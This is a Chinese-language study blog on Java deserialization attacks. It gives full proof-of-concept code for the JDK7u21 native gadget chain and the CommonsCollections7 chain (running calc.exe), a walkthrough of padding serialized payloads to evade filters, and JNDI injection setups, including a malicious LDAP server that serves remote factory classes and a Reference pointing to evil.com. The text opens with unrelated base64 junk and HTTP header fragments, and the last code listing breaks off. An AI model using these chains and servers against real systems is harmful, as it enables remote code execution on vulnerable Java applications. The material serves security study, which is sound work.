Yn4gq0qgPu3czc9Np+415a2JVA+tIh8LwwcZKbOeSRaUZpPGqITIZ8Q/IIclf3XgFM4jygUNqr2fnGLarECzcPHC1V2XIl5gSUH+GJRmZPp81yOa64HYVGkfkHWU3lf7avsPkrsrnylG88gbBQK6+0QTu/j/mxHkFTSePE7BMILO3hk7DhYDL+w5mhPnhnlSz9DQTdOTkCGfkLNPSs4OSdbKQrSouAo9ey66YFi4f/OzvvBscX19X151oJCfRW7SbHnbi83D0B8wpvl9X3ZDCMpUGH6OKUjkFozX1YU7qClY0nqy45cMdrdZfM1KuSqkqp0SXNaJjAhy61qg2Nr7Q4BddD7IojYGzw8+OCdRuJ48ajTWk9nirCMswTugT+IrueJeLxpHsvv5XNCqJChXy3SteUs8yegwfqarbvHDVwD8rPqPDZ5k2eXcvc02N1SttC4qpOP6+Tvw51Bf/hqgCGB7iRsuAkbci6GhcYQ5D8Xy0AOm+c3uGad2vg9sqVqS18PioIFprgI/ZT0Fr61m+/WqIMuURp0zk9i/lHTIQdT/ZSY6qBOum4DlZGRfez6Li9mdixXWa9q5cesZ0NJrJimuEBgEb0Up/75XGvWsot
Content-Length: 50

Upgrade-Insecure-Requests: 1
Priority: u=0, i

原生反序列化利用链 JDK7u21

上面学习了那么多链子,我们肯定会情不自禁的思考,有没有一种链子不需要依赖就能打通呢?事实上还真有,在<=Java 7u21的版本下,确实存在一条原生的反序列化链子,这里我们首先去下一份JDK7u21,来看看这条原生的反序列化链是怎么个事儿。

反序列化链的核心在哪里呢?核心其实在于如何触发动态方法执行,比如CC链的核心其实在于 Transformer ,比如我们的老朋友 InvokerTransformerInstantiateTransformer 等等,CB链的核心在于 PropertyUtils#getProperty,它会触发getter,导致我们可以触发 TemplatesImpl#getOutputProperties() 从而触发 newTransformer 执行 TemplatesImpl 链子。而我们现在的目标,原生JDK7u21的核心点在于 sun.reflect.annotation.AnnotationInvocationHandler,这个东西我们其实之前提到过,不过今天我们的重点在于它的方法 equalsImpl

可以看到它调用了var5.invoke,直接传入参数var1对var5这个方法进行了调用,如果我们能控制var5为 getOutputProperties ,var1为 TemplatesImpl ,回顾反射的定义,这就相当于执行了 TemplatesImpl#getOutputProperties ,那么其实就和CB链一样了。

那么如何调用 equalsImpl 呢?其实和CC1有点像,CC1是通过代理走 AnnotationInvocationHandler#invoke 里面的get来触发LazyMap,而我们这次走的是invode里的equalsImpl

可以看到当方法名等于“equals”,且仅有一个 Object 类型参数时,会调用到 equalsImpl 方法,那么我们现在就得找一个反序列化的时候会对proxy进行equals的方法,而这里我们的目标是HashSet,因为set里不允许重复,那么肯定会涉及对象之间的比较,我们看到HashSet的readObject:

可以看到这里使用了一个HashMap,通过将对象保存在key里来去重,我们再来跟一下这个put:

从上面我们可以看出来,当两个不同的对象hash相同时,他会使用equals进行比较,那么我们该怎么让 proxy 对象的哈希等于 TemplateImpl 对象的哈希呢?从图里可以看到计算哈希的主要是这么两行代码:

int hash = hash(key);
int i = indexFor(hash, table.length);

而这个哈希函数的主要逻辑如下:

从这里可以看出,决定比较结果的主要是这个k.hashcode()TemplateImplhashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让 proxyhashCode() 与之相等,只能寄希望于 proxy.hashCode(),而 proxy.hashCode()其实也会调用 AnnotationInvocationHandler#invoke 从而触发 AnnotationInvocationHandler#hashCodeImpl,我们看到这个 hashCodeImpl

private int hashCodeImpl() {
        int var1 = 0;

        Map.Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Map.Entry)var2.next();
        }

        return var1;
    }

JDK7u21中使用了一个非常巧妙的方法:

  • memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode())^value.hashCode()
  • key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
  • 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

所以我们只需要找到一个hashCode是0的对象作为key,恶意TemplateImpl对象作为 value ,那么这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了,在yso里,这个hashCode为0的对象就是字符串 f5a5a608:

现在我们的攻击流程如下:HashSet#readObject => 对HashSet进行代理同时保证HashSet的两个元素hashCode()相同从而触发equals=>触发代理类的 invoke 里的 AnnotationInvocationHandler#equalsImpl => 触发 TemplatesImpl#getOutputProperties,完整代码如下(注意EvilTest用JDK7u21编译份新的,不是同版本触发不了):

package com;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;


public class JDK7u21 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("C:\\Users\\24254\\Desktop\\java笔记\\java-top-speed\\src\\shiroTest");
        CtClass clazzz = pool.get("EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "1");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

Java反序列化协议构造与分析

这里还是继续跟着p神的步子学,首先去github下一下p神自己写的分析序列化数据流的工具:https://github.com/phith0n/zkar/releases/tag/v1.5.1,首先我们看一下序列化流的架构:

stream:
    magic version contents

contents:
    content
    contents content

content:
    object
    blockdata

object:
    newObject
    newClass
    newArray
    newString
    newEnum
    newClassDesc
    prevObject
    nullReference
    exception
    TC_RESET

stream就是指完整的序列化协议流,由三个部分组成:

  • magic 是固定的魔数:0xACED (即 JAVA serialization 流的标志)
  • version 是版本号,通常是 0x0005(Java Object Serialization 版本5)
  • contents 是后续的主体数据

因此java序列化流以 \xAC\xED\x00\x05 开头。

接下来是contents,即内容块,内容块实际上是递归定义的,它可以是一个 content也可以是多个content拼接,同时contents是可递归的,因为反序列化流可以连续写入很多对象、数据块等。

content是具体的内容单元,由两部分组成:

  • object 是各种序列化对象。
  • blockdata 是一块原始数据(比如写入一些bytes数组)。

object是对象,组成部分如下:

  • newObject:新对象,TC_OBJECT
  • newClass:新类描述,TC_CLASS
  • newArray:新数组,TC_ARRAY
  • newString:字符串,TC_STRINGTC_LONGSTRING
  • newEnum:枚举,TC_ENUM
  • newClassDesc:新的类描述(classDesc,比如 java.util.HashMap 类信息)
  • prevObject:引用前面已经出现过的对象,TC_REFERENCE
  • nullReference:空引用,TC_NULL
  • exception:异常对象。
  • TC_RESET:重置流状态,告诉ObjectInputStream丢弃之前已经缓存的对象。

newObjectnewClass 都是由一个标示符+ classDesc + newHandle 组成,只不过 newObject
多一个 classdata[] 。原因是,它是一个对象,其包含了实例化类中的数据,这些数据就储存在
classdata[] 中。而 classDesc 可以理解为对 newClassDesc 的一个封装。

newHandle 是一个唯一ID,序列化协议里的每一个结构都拥有一个ID,这个ID由 0x7E0000 开始,每遇
到下一个结构就+1,并设置成这个结构的唯一ID, prevObject 指针就是通过这个ID来定位它指向的结构。

我们可以写一个简单的demo来用zkar进行分析:

package shiroTest;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

public class SerializeTest {
    public static void main(String[] args) throws Exception {
        User user = new User("Bob");
        user.setParent(new User("Josua"));

        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteStream);
        oos.writeObject(user);
        oos.close();  // 记得关闭,防止内存泄漏

        String base64 = Base64.getEncoder().encodeToString(byteStream.toByteArray());
        System.out.println(base64);
    }
}

class User implements Serializable {
    private static final long serialVersionUID = 1L;

    private String name;
    private User parent;

    public User(String name) {
        this.name = name;
    }

    public void setParent(User parent) {
        this.parent = parent;
    }

    public String getName() {
        return name;
    }

    public User getParent() {
        return parent;
    }
}
zkar.exe dump -B rO0ABXNyAA5zaGlyb1Rlc3QuVXNlcgAAAAAAAAABAgACTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wABnBhcmVudHQAEExzaGlyb1Rlc3QvVXNlcjt4cHQAA0JvYnNxAH4AAHQABUpvc3VhcA==

在这里面就可以看到很多我们之前分析过的东西,比如这个[]classData 数组中有属性 nameparent 等等

如果我们想向我们的序列化流包含垃圾数据,我们就可以使用 content 里的 blockdata,而 blockdata 存在两种情况:blockdatashortblockdatalong,很显然,后面这种肯定保存的数据会多得多。

blockdatalong 由三部分组成:

  • TC_BLOCKDATALONG 标示符
  • (int)<size> 数据长度,是一个4字节的整型
  • (byte)[size] 数据具体的内容

比如我们把我们之前cc6生成的反序列化数据保存到一个cc6.ser里,然后用p神这个项目来填充恶意字节(其实就是创建了一个serz.TCContent对象,然后在他的BLOCKDATALONG里存一个非常大的数组):

package main

import (
	"io/ioutil"
	"log"
	"strings"

	"github.com/phith0n/zkar/serz"
)

func main() {
	data, _ := ioutil.ReadFile("cc6.ser")
	serialization, err := serz.FromBytes(data)
	if err != nil {
		log.Fatal("parse error")
	}
	var blockData = &serz.TCContent{
		Flag: serz.JAVA_TC_BLOCKDATALONG,
		BlockData: &serz.TCBlockData{
			Data: []byte(strings.Repeat("a", 40000)),
		},
	}
	serialization.Contents = append(serialization.Contents, blockData)
	ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}

然后读取之后进行反序列化,可以看到成功RCE:

package com.CC;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DeserializeCC6 {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("cc6-padding.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object obj = ois.readObject();  // 这里就触发了
        ois.close();
        fis.close();

        System.out.println("反序列化完成!");
    }
}

contents 里即可以是 object 也可以是 blockdata,但是我们不能把 blockdata 放在 object 前面,原因在于Java只会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。我们之前的操作之所以可行,是因为当时我们的 blockdata 在 object 后面,object处理完之后其实就退出了,所以也没有解析 blockdata 。不过 Java 在处理 object 前Java会丢弃所有的 TC_RESET,所以我们其实可以在 TC_RESET 里填充恶意数据,这样就能保证恶意数据在前,有效载荷在后:

package main

import (
	"io/ioutil"
	"log"

	"github.com/phith0n/zkar/serz"
)

func main() {
	data, _ := ioutil.ReadFile("cc6.ser")
	serialization, err := serz.FromBytes(data)
	if err != nil {
		log.Fatal("parse error")
	}
	var contents []*serz.TCContent
	for i := 0; i < 5000; i++ {
		var blockData = &serz.TCContent{
			Flag: serz.JAVA_TC_RESET,
		}
		contents = append(contents, blockData)
	}
	serialization.Contents = append(serialization.Contents, serialization.Contents...)
	ioutil.WriteFile("cc6-padding-new.ser", serialization.ToBytes(), 0o755)
}

至此,p神的Java安全漫谈就结束了,令人感叹。

JNDI注入基础

JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于统一访问各种命名和目录服务(Naming and Directory Services),如:

  • LDAP(轻量目录访问协议)
  • DNS(域名系统)
  • 文件系统(本地命名)
  • RMI(远程对象)
  • 数据库连接池(DataSource,Java EE 中常见)

它的主要作用是使用统一接口查找、绑定和解除绑定对象以及实现资源名称和资源对象的解耦,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。jndi的作用主要在于”定位”,比如定位rmi中注册的对象,访问ldap的目录服务等等,有了这个名字,我们就能用这个名字去访问相应的对象。

在JNDI中有这么几个关键元素:

  • Name:要在命名系统中查找对象,请为其提供对象的名称
  • Bind:名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
  • Context::上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针

目录中存储的对象主要包括:官网文档给出定义

  • CORBA objects
  • Java serializable objects
  • Referenceable objects and JNDI References
  • Objects with attributes (DirContext)
  • RMI objects

其中最常见的是 References引用对象 和 RMI远程对象

InitialContext 是我们访问 JNDI 的入口。创建它就像拿起一个电话本,然后我们就可以通过名称查找注册的对象:

Context ctx = new InitialContext();
Object obj = ctx.lookup("rmi://host/serviceName");

Reference 是一种远程描述,它指向某个类名和它的加载方式(可带上类加载器地址 URL),JNDI 客户端在 lookup 后根据它加载类实例化对象,如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化(第一个参数为对象,第二个参数为工厂,第三个参数为工厂的位置)

Reference ref = new Reference("ExploitClass", "ExploitClass", "http://evil.com/");

但 Reference 本身不是远程对象,所以必须通过 ReferenceWrapper(位于 com.sun.jndi.rmi.registry),这个类用于把 Reference 封装为远程对象,可以被 RMI Registry 接受并绑定。

JNDI注入利用过程如下:

  • 攻击者将Payload绑定到攻击者的命名/目录服务中
  • 攻击者将绝对URL注入易受攻击的JNDI查找方法
  • 应用程序执行查找
  • 应用程序连接到攻击者控制的JNDI服务并返回Payload
  • 应用程序解码响应并触发有效负载

RMI + JNDI

环境要求 JDK 6u1327u1228u113 之前,利用流程:

  • 客户端程序调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址
  • 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
  • 当客户端执行lookup的时候,客户端会获取相应的object factory,通过factory.getObjectInstance()获取外部远程对象实例
  • 攻击者在Factory类文件的构造方法,静态代码块,getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果
  • 既然要用到Factory,所以恶意类得实现ObjectFactory接口

RMI Object

首先定义远程调用接口,这是客户端和服务端共享的远程调用规范:

package JNDI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Evil extends Remote {
    public String hello() throws RemoteException;
}

然后实现远程对象,继承 UnicastRemoteObject 使它可以通过 RMI 远程访问,方法 hello() 就是远程执行的 payload

package JNDI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class EvilObj extends UnicastRemoteObject implements Evil {
    protected EvilObj() throws RemoteException {
    }

    @Override
    public String hello() throws RemoteException {
        return "Hello Hacker!";
    }
}

这里是 RMI 注册服务端,启动本地 1099 端口作为 RMI 注册中心,将 EvilObj 注册进去,名称为 "hello"

package JNDI;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
        //创建注册中心
        LocateRegistry.createRegistry(1099);
        //创建远程对象
        EvilObj rmiObject = new EvilObj();
        // 绑定name
        Naming.bind("hello", rmiObject);
    }
}

和RMI不同,这里我们就不需要创建RMI client,毕竟也不是它做调用,我们需要的是建立 JNDI 的Server,利用 JNDI 上下文绑定远程对象,使用 JNDI 的 bind 方法,将 EvilObj 映射到一个 RMI 地址,此时,JNDI 成为目录服务的中间人

package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        // 上下文创建
        InitialContext context = new InitialContext();
        // 上下文命名绑定RMI
        context.bind("rmi://127.0.0.1:1099/Hello", new EvilObj());
    }
}

最后是JNDI客户端,也就是受害者,客户端通过 JNDI 查找远程对象,客户端执行 lookup 操作,JNDI 会通过 RMI 协议访问远程注册中心,成功获取到 EvilObj 的代理对象,并调用其 hello() 方法:

package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMICilent {
    public static void main(String[] args) throws NamingException, RemoteException {
        // 上下文创建
        InitialContext context = new InitialContext();
        Evil obj = (Evil) context.lookup("rmi://127.0.0.1:1099/Hello");
        System.out.println(obj.hello());
    }
}

接着依次运行RMIServer,JNDIRMIServer和JNDIRMIClient,代码就成功运行了

上面的案例里一共有五个组件:

  • Evil 接口:定义了远程对象的方法
  • EvilObj 类:实现了 Evil 接口,并继承了 UnicastRemoteObject,成为 RMI 可远程调用的对象
  • RMIServer:启动一个 RMI 注册中心并将 EvilObj 注册进去(RMI 服务端)
  • JNDIRMIServer:使用 JNDI 将 EvilObj 绑定到一个 RMI 地址(JNDI 目录服务)
  • JNDIRMICilent:客户端,通过 JNDI 查找并远程调用 EvilObj 的方法(受害端)

借用一张Chatgpt画的图:

       ┌────────────────────┐
       │      客户端        │
       │  JNDIRMICilent     │
       └────────┬───────────┘
                │ lookup("rmi://127.0.0.1:1099/Hello")
                ▼
       ┌────────────────────┐
       │   JNDI 上下文       │
       │ InitialContext     │
       └────────┬───────────┘
                │
                │ 通过 RMI 协议连接
                ▼
       ┌────────────────────┐
       │     RMI 注册中心    │
       │  LocateRegistry    │
       └────────┬───────────┘
                │
                │ 返回注册的对象(EvilObj)
                ▼
       ┌────────────────────┐
       │     EvilObj        │
       │  实现了 hello()     │
       └────────┬───────────┘
                │
                │ 返回 hello() 方法结果
                ▼
       ┌────────────────────┐
       │ 客户端收到返回值    │
       │ "Hello Hacker!"     │
       └────────────────────┘

References引用对象

这里我们可以通过使用References引用对象实现类似的功能。

首先创建恶意类,实现ObjectFactory接口,把恶意代码写在getObjectInstance里面(注意恶意类要无包名,不然会报错):

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {
    static {
        System.out.println("Hello static!");
    }

    public EvilObj() {
        System.out.println("Hello constructor!");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("Hello getObjectInstance!");
        return null;
    }
}

这里我们可以直接把 RMI 注册中心 和 JNDI 服务端写在一起,

package JNDI2;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 启动一个RMI注册中心,监听端口1099,接受客户端连接
        Registry registry = LocateRegistry.createRegistry(1099);

        // 恶意类所在的地址(必须能通过HTTP访问 EvilObj.class)
        String factoryUrl = "http://localhost:1098/";

        // 创建一个指向远程类的引用,一共有三个参数:
        // className:告诉JNDI“你最后要返回的类型”
        // factoryClassName:工厂类名(ObjectFactory)
        // factoryLocation:在哪里能下载到这个class文件
        Reference reference = new Reference("EvilObj", "EvilObj", factoryUrl);

        // RMI注册中心只允许注册 Remote 类型的对象,而 Reference 不是,所以需要包装
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);

        // 把这个“恶意 Reference”绑定在名字 "Hello" 上,供客户端 lookup
        registry.bind("Hello", wrapper);
    }
}

最后是JNDI客户端,也就是攻击目标,这里就和之前一样了:

package JNDI2;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMICilent {
    public static void main(String[] args) throws NamingException {
        // 创建JNDI上下文(默认环境)
        InitialContext context = new InitialContext();

        // 远程查找名称为 Hello 的对象(RMI注册中心中注册的名字)
        context.lookup("rmi://127.0.0.1:1099/Hello");
    }
}

首先我们编译EvilObj.class,然后用python起一个服务,保证能通过http://localhost:1098/访问到:

python -m http.server 1098

最后依次运行 JNDIRMIServer 和 JNDIRMICilent(getObjectInstance是获取实际绑定对象时触发的) :

客户端: lookup("rmi://127.0.0.1:1099/Hello")
    ↓
RMI服务端返回 ReferenceWrapper → 包含 Reference("EvilObj", "EvilObj", "http://localhost:1098/")
    ↓
JNDI下载 EvilObj.class → 加载类 → static 块执行
    ↓
new EvilObj() → 构造函数执行
    ↓
getObjectInstance(...) → 主恶意逻辑触发

JNDI & LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理分布式目录信息的应用协议。它是基于客户端-服务器架构设计的,允许用户通过网络访问和操作目录服务,如查询用户信息、认证、授权等。LDAP 可以实现Java对象的存储,所以能返回JNDI Reference对象,利用过程类似于RMI Reference,只不过协议换成了 ldap://,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

利用过程如下:

  • 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
  • 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
  • 服务器解码JNDI引用
  • 服务器从攻击者控制的服务器获取Factory类
  • 服务器实例化Factory类
  • 有效载荷得到执行

首先我们下一个3.1.1的unboundid-ldapsdk

然后我们来配置一个 LDAP 服务器,作用主要是配置一个内存中模拟的 LDAP 服务器,监听来自客户端的请求,当接收到搜索请求时,OperationInterceptor 会拦截并返回一个指向恶意类的引用。这些引用包含了恶意类的代码库 URL 和类名等信息。

package JNDI3;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) {

        String url = "http://127.0.0.1:9999/#EvilObj";
        int port = 39654;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }

}

接着配置客户端,主要是创建一个 InitialContext 实例并向 LDAP 服务器查询指定路径的条目(ldap://127.0.0.1:39654/aaa),服务器返回一个包含恶意类引用的 LDAP 响应,JNDI 会根据这些信息尝试加载并执行恶意类。

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;

public class LdapClient {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:39654/aaa";  // 向LDAP服务器发送查询请求
        Context context = new InitialContext();
        context.lookup(url);  // 使用JNDI查询恶意类
    }
}

接着依次启动服务端和客户端即可:

+------------------+                          +-------------------+
|                  |                          |                   |
|   LdapClient     |  ----(查询请求)--->      |   LdapServer      |
|                  |                          |                   |
|  1. 发起LDAP请求 |                          |  2. 返回恶意类引用 |
|                  |                          |                   |
+------------------+                          +-------------------+
        ^                                             |
        |    <----(恶意类引用)------                 |
        |                                            |
        |                                            v
        |                                    +-------------------+
        |                                    |  OperationInterceptor |
        |                                    |  3. 拦截请求并发送恶意类引用 |
        |                                    +-------------------+
        |                                             |
        v                                             |
  4. 客户端加载恶意类并执行                       |
        |-------------------------------------------->
        |                                     
    5. 触发远程代码执行

后记

对于RMI,JDK 6u132, JDK 7u122, JDK 8u113 开始开始com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,所以默认不信任远程代码的,无法加载远程 RMI 代码。

对于LDAP,在Oracle JDK 6u211、7u201、8u191、11.0.1之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制

CommonsCollections7

这次来到CC大家族中的CC7,CC7是从CC6改过来的,我本地的环境还是jdk 1.8.0_65和CC3.2.1,具体的gadget如下:

Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            AbstractMapDecorator.equals
            AbstractMap.equals
               LazyMap.get()
                    ChainedTransformer.transform()
                      ConstantTransformer.transform()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Class.getMethod()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Runtime.getRuntime()
                      InvokerTransformer.transform()
                        Method.invoke()
                          Runtime.exec()

看gadget就看得出来,核心是用 AbstractMap#equals 触发到 LazyMap#get 方法进而触发transform方法进入利用链,然后就和CC1的后半段一样了:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class,
                        Object[].class}, new Object[]{null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new String[]{
                                "calc.exe"}),
        };

那么我们就首先看到gadget的开头,Hashtable#readObject

主要就是触发了 reconstitutionPut ,继续跟一下:

这里的关键是这个 e.key.equals(key),而LazyMap里是没有equals方法的,所以它调用的其实是它的父类里的AbstractMapDecorator#equals

它在这里调用了 this.map.equals(object),我们构造恶意链的时候,会利用LazyMap的decorate将Hashtable属性传给map,所以这里调用的会是 HashMap#equals,而HashMap里其实也没有equals方法,这里调用的其实是继承来的 AbstractMap#equals ,这里可以触发 LazyMap#get,然后就可以触发transformer进而RCE了:

现在回到开头,想要调用 e.key.equals(key)其实还必须满足 e.hash == hash,这里就需要用到一个trick,构造两个LazyMap,让两个LazyMap的hash恰好相等,再把LazyMap存入hashtable:

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

但这里有个小问题,我们必须要在反序列化之前remove掉我们写入的yy,否则这里的equals就走不了了,key里会多一个yy:

这是因为Hashtable调用put方法添加第二个元素的时候会根据key判断是否是同一元素,调用了equal就会插入”yy”,我们移除一下即可,现在完整代码如下:

package com.CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
